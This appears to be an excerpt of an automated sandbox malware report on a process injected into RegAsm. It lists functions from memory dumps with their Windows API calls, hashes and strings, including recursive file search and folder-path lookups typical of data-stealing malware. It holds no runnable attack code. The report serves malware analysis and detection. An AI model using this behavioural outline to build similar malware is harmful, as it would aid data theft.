API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID:
API String ID: 153043497-0
Opcode ID: d35a0df7266de5c38a4f681461d38def02502f2c6b341ded533f0295ffbeee7d
Instruction ID: 705eaf36d825ffda3af0651352a97a8d1c8f4b2760a343c4c80f02275d419bd3
Opcode Fuzzy Hash: d35a0df7266de5c38a4f681461d38def02502f2c6b341ded533f0295ffbeee7d
Instruction Fuzzy Hash: 7D3175B2D0010DAFDF15EB90DC43EE977BAFB48304F5414AAB608A3271E6755A90CF95

Function 004077EA Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 0040783C
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407866

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 35bc4efadf116bd2c92f5e3ac176ad6a784a74d69801cae3b8623ec528d8072c
Instruction ID: f76170bbee3c5e4cb33432b4d5295489ecd5b1d98f63136437ad1e207ea654bb
Opcode Fuzzy Hash: 35bc4efadf116bd2c92f5e3ac176ad6a784a74d69801cae3b8623ec528d8072c
Instruction Fuzzy Hash: BC119072A04705ABC724CFB4C998B9ABBF5AB44314F10883DE206E7390D278B940C659

Function 00401088 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 0040109A
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010D6

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c1a70856d1f01ded00d27a0a19de2a98afd65e574365f1f601325795b3507261
Instruction ID: 1f01320b41b9e8098dc3ac62369feb0c96b192b1a669730965d98a585546374b
Opcode Fuzzy Hash: c1a70856d1f01ded00d27a0a19de2a98afd65e574365f1f601325795b3507261
Instruction Fuzzy Hash: C8E02B7634123037E22011662C6DFBB1BACDBC2FA1FA00035F608E73D1D655890982B8

Function 00407BC4 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e1a229d40bd6d32ea077645ffec229d781288ac17df2b525cceab1bf6ef9ef9
Instruction ID: 5ea8ff32c4445941075d7fe3d47801ea78a536c1dab898aad0ebf6783a98df61
Opcode Fuzzy Hash: 8e1a229d40bd6d32ea077645ffec229d781288ac17df2b525cceab1bf6ef9ef9
Instruction Fuzzy Hash: 67318D71E0C5159FDB16DF59D9404AEBBB1EF84350B20846BE410B73A1D739BA80CA9A

Function 00411C74 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411CB5

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: d38444cd98564e71c90ce4cb28957f0771c661f31fee1f2744528f979e702405
Instruction ID: d81a4d5f032a12c7d6ebdd682dca7a10e19397855e0ce99777f610d20a757b6a
Opcode Fuzzy Hash: d38444cd98564e71c90ce4cb28957f0771c661f31fee1f2744528f979e702405
Instruction Fuzzy Hash: B2F09071E0015DABCB05DF68DC909EEB3FCEB44200F0005BAB905E3180DA349F458B90

Function 00411C4A Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040A19C), ref: 00411C51

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 32fc17e1f086b5fa81b80bbb3dce5490a6f2cb9f32e2ef485ec609fd638b581f
Instruction ID: 3d31cb2d6729036ede607ecae652aaeec4a5d94c508e90795d499bdfeaef344a
Opcode Fuzzy Hash: 32fc17e1f086b5fa81b80bbb3dce5490a6f2cb9f32e2ef485ec609fd638b581f
Instruction Fuzzy Hash: E8D05E31644128578B2017AEDC484DBBB09DB02BF4B500632FE59923B0E2659C9283C4

Function 00411CD7 Relevance: 1.3, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?,?,?,?,004081CC,?), ref: 00411CEF

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: f9698d6c31f3479d078e39fd512f843b133614d8f2f0e39e49ba9f9740bf6b94
Instruction ID: 3f20fe3b320944a56271eef60c3b0827994a05eb92bae689a66c411300e7b0dc
Opcode Fuzzy Hash: f9698d6c31f3479d078e39fd512f843b133614d8f2f0e39e49ba9f9740bf6b94
Instruction Fuzzy Hash: 0EE02B366016101B83220B2AB8049E7FB5B9FC1BA2B2841ABDF48CB324E535EC4182E5

Function 00407EA0 Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EA7

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 44b61b836517cb111996f8c8d7271882066e7099e8daf1c8b112edd3023b079f
Instruction ID: de21bc2730da290db7e779e93719f9b96052c7d633565a90e0fd43bedc4d1afe
Opcode Fuzzy Hash: 44b61b836517cb111996f8c8d7271882066e7099e8daf1c8b112edd3023b079f
Instruction Fuzzy Hash: CDE0EDB5A10108BFDB00DBA9D805A9EBBF8EF44654F5540B9A905E3280E671EE019A55

Non-executed Functions

Function 1FFF0480 Relevance: 30.2, APIs: 8, Strings: 9, Instructions: 476COMMON

Download Yara Rule

Strings

invalid uri authority: %.*s, xrefs: 1FFF05C2
no such vfs: %s, xrefs: 1FFF099A
loca, xrefs: 1FFF0598
cach, xrefs: 1FFF082B
no such %s mode: %s, xrefs: 1FFF0922
%s mode not allowed: %s, xrefs: 1FFF09EC
file, xrefs: 1FFF04DA
lhos, xrefs: 1FFF05A1
mode, xrefs: 1FFF0867

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s mode not allowed: %s$cach$file$invalid uri authority: %.*s$lhos$loca$mode$no such %s mode: %s$no such vfs: %s
API String ID: 0-1127695371
Opcode ID: 1cd20f0e5df34c54b50746bbe7589c2f9e1a33a9cbc797e1a1fe5818eeae38f3
Instruction ID: 3cc1fcf8524399db43d92ebbbbc349392bd92c1e8470dd06feea3d14ab264525
Opcode Fuzzy Hash: 1cd20f0e5df34c54b50746bbe7589c2f9e1a33a9cbc797e1a1fe5818eeae38f3
Instruction Fuzzy Hash: FAF128775083824FE7218E24C49075A7BE2AF86314F54469CE8DD4B3B2E7F6E449CB62

Function 1FED8680 Relevance: 28.6, APIs: 9, Strings: 7, Instructions: 550COMMON

Download Yara Rule

Strings

%s: table does not support scanning, xrefs: 1FED9979
DESC, xrefs: 1FED98C2, 1FED98D6
recursively defined fts5 content table, xrefs: 1FED86C5
parse error in rank function: %s, xrefs: 1FED97FF
ASC, xrefs: 1FED98BA
, xrefs: 1FED9848
SELECT rowid, rank FROM %Q.%Q ORDER BY %s("%w"%s%s) %s, xrefs: 1FED98F1

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: $%s: table does not support scanning$ASC$DESC$SELECT rowid, rank FROM %Q.%Q ORDER BY %s("%w"%s%s) %s$parse error in rank function: %s$recursively defined fts5 content table
API String ID: 0-2381147695
Opcode ID: 2bcbfdaebaa11c7632a1d7eea2f1d6ff5b408443fcfe91606d8ed7221be84365
Instruction ID: 73104704de4fe0a405309e09ce4e63b2a0801f1a8222b06c12e5774856e21aaa
Opcode Fuzzy Hash: 2bcbfdaebaa11c7632a1d7eea2f1d6ff5b408443fcfe91606d8ed7221be84365
Instruction Fuzzy Hash: 9122CFB19047459FEB04CF24CC80B9EBBF6BF49308F044629F89A9B651E735E946CB91

Function 00415647 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 179stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 0041566C
RtlAllocateHeap.NTDLL(00000000), ref: 00415673
wsprintfA.USER32 ref: 0041568C
FindFirstFileA.KERNEL32(?,?), ref: 004156A3
StrCmpCA.SHLWAPI(?,00435A68), ref: 004156C4
StrCmpCA.SHLWAPI(?,00435A6C), ref: 004156DE
wsprintfA.USER32 ref: 00415705

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 00411B02: GetSystemTime.KERNEL32(?,0043579A), ref: 00411B31

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 00415371: lstrcat.KERNEL32(?,00000000), ref: 004153E5
Part of subcall function 00415371: lstrcat.KERNEL32(?), ref: 00415403
Part of subcall function 00415371: lstrcat.KERNEL32(?,?), ref: 00415417
Part of subcall function 00415371: lstrcat.KERNEL32(?), ref: 0041542A
Part of subcall function 00415371: StrStrA.SHLWAPI(00000000), ref: 004154CA

FindNextFileA.KERNEL32(?,?), ref: 00415814
FindClose.KERNEL32(?), ref: 00415828
lstrcat.KERNEL32(?), ref: 00415856
lstrcat.KERNEL32(?), ref: 00415869
lstrlen.KERNEL32(?), ref: 00415875
lstrlen.KERNEL32(?), ref: 00415892

Strings

%s\*, xrefs: 00415686
%s\%s, xrefs: 004156FF

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$Findlstrlen$FileHeapwsprintf$AllocateCloseFirstNextProcessSystemTime
String ID: %s\%s$%s\*
API String ID: 2098720312-2848263008
Opcode ID: 4d7be7d1019386bcd007ac8510a50bb6325bbe8e17dd72dc6057e3177de82e52
Instruction ID: fc8b5a5f4c057fa62003af3f018eb630f1e4c146d0aacb6f1d69e23e4a5eded5
Opcode Fuzzy Hash: 4d7be7d1019386bcd007ac8510a50bb6325bbe8e17dd72dc6057e3177de82e52
Instruction Fuzzy Hash: 68713CB1D002289BDF20EB61DD89BD97779AF45304F0004EAA609B3151EB75AFC5CF99

Function 1FFDD9E0 Relevance: 23.3, APIs: 8, Strings: 5, Instructions: 564COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FFDDADB, 1FFDDE3E
misuse, xrefs: 1FFDDAD6, 1FFDDE39
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFDDACC, 1FFDDE2F
API called with NULL prepared statement, xrefs: 1FFDDA9B, 1FFDDDFE
API called with finalized prepared statement, xrefs: 1FFDDAB0, 1FFDDE13

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-860711957
Opcode ID: 0e7fe1c974170e40d1c9d83d4f1f7bb6b46fcaaa7f1e22b9269b9c4aae855fb7
Instruction ID: 85f4b9155567ba2bbe486d0237d7d112d53b71e21ef0e0e8249ab66af8b1ca6e
Opcode Fuzzy Hash: 0e7fe1c974170e40d1c9d83d4f1f7bb6b46fcaaa7f1e22b9269b9c4aae855fb7
Instruction Fuzzy Hash: F112C2B19047419BE7218F34CC54B5B7BE8AF45318F08452CF9999B382E7B6F509CBA2

Function 1FEC66C0 Relevance: 23.2, APIs: 12, Strings: 1, Instructions: 416COMMON

Download Yara Rule

Strings

_shape does not contain a valid polygon, xrefs: 1FEC6816

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
